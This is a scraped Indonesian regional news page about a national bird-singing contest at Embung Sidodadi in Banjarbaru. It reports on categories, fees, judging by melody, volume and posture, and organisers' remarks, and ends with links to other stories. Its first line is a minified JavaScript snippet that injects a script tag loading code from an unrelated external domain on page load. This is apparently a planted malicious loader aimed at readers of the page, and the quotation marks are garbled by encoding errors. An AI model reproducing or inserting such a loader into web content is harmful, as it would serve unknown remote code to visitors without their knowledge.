(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Setidaknya ada 32 nomor diperlombakan dalam Festival Kicau Burung Tingkat Nasional Walikota Cup III 2018, Minggu (22/4), di Embung Sidodadi, Kelurahan Lokatabat Selatan. Sebanyak 96 piala dan 240 piagam disiapkan untuk kicau burung terbaik dalam rangka Hari Jadi ke-19 Kota Banjarbaru.
Festival burung berkicau itu dibuka Wakil Walikota Banjarbaru Darmawan Jaya Setiawan. Darmawan mengungkapkan apresiasi pada kegiatan ini, karena lokasi lomba digelar berada di salah satu destinasi wisata yang ada di Kota Banjarbaru.
“Harapan saya dengan adanya kegiatan seperti ini, embung Sidodadi menjadi lebih familiar dan dikenal masyarakat luas. Selain itu dampak positifnya juga dapat dirasakan para pedagang yang berjualan karena event ini,†ujarnya.
Ada 32 nomor yang diperlombakan dalam festival burung berkicau ini diantaranya pleci campuran, love bird balibu, murai borneo, cucak hijau, love bird dewasa, kenari, kacer, murai borneo yang masing masingnya memiliki kelas dan tarif tiket berbeda-beda. Baik itu kelas Sidodadi, Walikota, Wakil Walikota, Ketua DPRD dan Sekda. Untuk tarif tiket berkisar dari Rp 30 ribu (kelas Sidodadi) hingga Rp 150 ribu (kelas Walikota). Peserta kicau mania juga disuguhkan dengan doorprize 1 unit sepeda motor matic.
Ketua Panitia Sumadi mengatakan, peserta kicau mania tidak hanya dari wilayah Kota Banjarbaru, kota-kota di luar Banjarbaru juga turut serta memeriahkan acara kicau mania kali ini.
“Seluruh wilayah Kalsel turut serta, ada Pelaihari, Tanjung, subuh tadi ada yang dari Kandangan bahkan malam tadi sudah ada yang datang dari Barabai,†ujar Sumadi.
Untuk juri kicau burung didatangkan dari level provinsi, penilaian kicau burung dilihat dari presentase irama lagu, disusul kemudian oleh volume suara dan fisik gaya.
“Dalam irama lagu, hal utama yang dinilai adalah variasi suara dan speed. Semakin banyak variasi suara, semakin tinggi nilainya. Semakin cepat irama lagunya, semakin tinggi nilainya,†jelas Sumadi.
“Dalam volume suara, semakin keras suaranya, semakin tinggi nilainya.
Sedangkan fisik gaya, juri melihat bagaimana gerak dan olah tubuh si burung,†sambung Sumadi.
Sumadi menambakan, festival burung kicau ini mengalami peningkatan dari tahun ke tahun, dan pada tahun bisa mencapai 1000 peserta. “Kegiatan ini sudah 3 kali diadakan, pada tahun 2008, dan yang terakhir tahun 2017. Target kami untuk tahun ini bisa tembus sampai 1.000 peserta,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.